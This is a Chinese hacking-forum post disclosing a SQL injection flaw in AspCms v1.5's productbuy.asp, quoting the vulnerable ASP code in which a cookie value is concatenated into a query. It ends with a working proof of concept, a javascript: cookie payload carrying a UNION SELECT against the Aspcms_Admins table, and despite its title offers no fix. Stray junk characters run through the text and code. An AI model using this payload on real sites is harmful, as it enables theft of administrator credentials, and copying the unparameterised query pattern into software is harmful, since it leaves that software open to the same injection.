找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2460|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
# V; |' x! X+ ^; |0 c也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
( J% |* r$ E5 c! ?( s废话不多说,看代码:- a3 c# D: D, ^( Q

9 c+ a  K, v- Z8 i6 s! p<%
( W+ ~+ R4 J9 y9 ~& N  ^
9 I7 _# c- g" r5 `$ I/ h; ^  {: ^5 Eif action = "buy" then
, R& i" @6 L; @2 s/ N) W( _  w( T1 G
7 p! ]3 o* [( R& b& N8 b& U' N        addOrder()- y; i- F$ X+ |, y) Q: s7 I" S
) C, b0 Q; w* C- v
else* O; `+ z# r. h
! n, f& e  H& i( G
        echoContent()6 I3 x$ H) @: @, I( x9 b
! K) E' ?- l+ J: C5 a
end if
# k# U6 f1 ^- O0 P# b7 [4 k# D) h! B" s
: e+ t1 a2 m& z  d, F
% _/ y) \' _0 z3 p
……略过6 r. v; b3 w9 P9 P

) l+ g- S9 o* z" [
" X# J. f0 h  l8 O6 S% @2 I
! Q3 l0 H5 P( J5 WSub echoContent()
9 `5 o% F! F1 a! W: y3 ]
$ M4 r5 q8 s* B- J- h        dim id
. s3 T1 l+ B! u4 |3 r9 d2 @' z: j% t" O: N% e
        id=getForm("id","get")4 R6 C, g% B. v2 ?8 V* b
( q! R4 E7 C& @6 F* A
        5 l4 V' O1 h  M5 S- y

2 _1 l- t" X  v  j$ l        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 4 f- C6 A/ G! e5 }
/ h: x& n' \9 ^
          d* f, E7 P* E, N; _5 u& R
! i) W1 ^) {3 J+ l) o& ?7 V. Z
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
: F5 D0 R$ g; r3 C* ?- F3 }" t( f$ |5 q; y* \+ a
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
0 w8 Z& [+ S& ~% B# `5 t* q9 M# f( |: G) ^  ?2 Y: J
        Dim templatePath,tempStr
6 P4 \+ J/ [2 q* ^) l- {6 Q
. `3 P2 F- z6 a9 x        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"3 j, d4 f: e9 ~$ [8 X( f  y

) A, @$ m9 q7 {' Z5 ?4 F( M8 c& S8 k9 H
: B6 c: [. Q" s0 |
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")$ i6 ~+ e3 k5 _& u4 u
) d8 z. @4 n& v
        selectproduct=rsObj(0)  {( M; g$ P5 @$ S
" N) d2 `/ J; h# r6 I* j0 E
        & i8 S/ b) N- V! q2 }9 \  c

8 m) ]2 \3 J* ]6 }        Dim linkman,gender,phone,mobile,email,qq,address,postcode+ i/ v9 o0 A! O; N" L+ x

! ]. {. D  `4 B& [8 f# |2 E        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
$ B7 v9 R/ A1 }) O
/ j5 [* y7 p; H; @* L7 Q        if rCookie("loginstatus")=1 then  # c& e  ]; @, X/ F
( I. X, M1 L; |! }) V8 z* ^
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")( b. G# e( W' q- v) u" R

) z+ G/ Y1 f5 a2 B! L8 M                linkman=rsObj("truename")! B9 {9 {5 ]% R( D. x* Q3 ]" `
4 u  ]/ [: J9 j
                gender=rsObj("gender")
3 u4 w% z4 S  F) [, J0 `' L4 f4 X; M
                phone=rsObj("phone")
9 c: d; V0 `" n% i0 X: I
- L% m9 p& `: l' q! O9 y- L2 S                mobile=rsObj("mobile")
. b! ~# L, A; T0 _8 e
5 x/ n: I+ V# u* C                email=rsObj("email"): i, [' u4 G1 ^. P  ?' Z8 a/ b' {

$ |+ R4 M$ P% m( I9 o* l' j( s: `                qq=rsObj("qq")6 P- e# ~' w1 B7 Z0 R$ y5 |+ y
% U2 T& c% R( C3 W" z( b6 M  J: N
                address=rsObj("address"), }# V$ h: P: r8 a0 R( g4 }6 s
) D) l2 h7 P; {' o- p  I
                postcode=rsObj("postcode")
& w1 U  Z4 t7 V# y* E
$ f7 [0 H% l: J. y6 M6 x* E        else 1 F# r1 t$ P3 v
" h# _$ _% W5 x8 q/ c; o
                gender=1: ?3 j' H& t* J2 _' x
* f+ b! f# E2 c: F! T. i* n3 ]
        end if
$ N  L! g9 D/ Z# a% ^) d5 B5 I) k/ b8 Q. i% {
        rsObj.close()* c4 g; u/ O; V9 U. ?

' }- ?4 p! s, W' Z5 F" @               
9 m# j1 R2 i& _; J, l5 E
6 a6 z5 v9 H5 w) }7 N" ^2 Q        with templateObj
' H" C4 a5 P/ V1 Y$ \) J. M0 ?4 t. r* s7 m! B9 H$ S
                .content=loadFile(templatePath)        
( `7 B! n) ^7 U: W" _( [' Q; `3 ^& K. V5 W4 z6 u( ~/ A
                .parseHtml()
  q% O) `- G& N" i
3 P% `. f) }9 u0 B                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
  R% J0 V9 z9 S9 U/ H" j0 m) ?6 C3 W0 w5 O. c3 c& s, P
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                4 q' ^5 R9 d& m0 M6 }

8 w7 l$ r! @3 \+ [4 L, B                .content=replaceStr(.content,"[aspcms:gender]",gender)               
. d4 @) g3 M! P; `8 O) p2 U) S, n1 {9 f/ I' p0 a* m. Z7 a9 @. P$ L
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
" U" l" ]) I$ z- o( S4 Q9 U/ w* L7 h  N4 u9 w* V' R
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
, r: T% ?) ?- b) l
- e, ^1 f* K% b# J; o8 N                .content=replaceStr(.content,"[aspcms:email]",email)                        
# \5 ]2 ?0 t7 O0 K0 J& c' ]$ b" j2 Q3 U/ A5 |0 f2 X' {5 G7 m" z4 d) r
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        7 q$ V/ K8 R# r  d/ x. J" Y
& {- b6 O6 Y9 R  \1 e3 g' R1 ?$ q3 `
                .content=replaceStr(.content,"[aspcms:address]",address)                        
5 U' L0 Q2 Q6 ~
# Y6 h) s$ v9 K+ h) C9 O2 H* t: i                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        ; z2 V! t2 n( F
8 |- T1 Y0 b, K- s7 p8 x+ K
                .parseCommon()                 
% {# G' K4 z- M  k7 b. B* B0 {; {+ k; D9 S$ @- F5 H! T( E
                echo .content
5 M4 @2 c! i% A1 F" n
: K; V( N8 ]; l6 h# \; `        end with1 z. p7 n3 b: a& |! \& `0 k' S

& {6 X( ]9 a  B8 G        set templateobj =nothing : terminateAllObjects
, y8 |. a- A( g. d( s5 Q) c
8 g3 |1 o" ?- {8 LEnd Sub5 U3 ^3 c: H* M( m, f' K4 U! \
漏洞很明显,没啥好说的
( x  j! X) t* k, @, Jpoc:3 U9 z& v4 Q$ Z9 ?4 r* Q& d& d

4 W8 n1 h* g4 zjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​, I) g8 a0 V+ f: d$ X, ~, X
$ N2 q0 r" m. T. [. I7 P+ v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表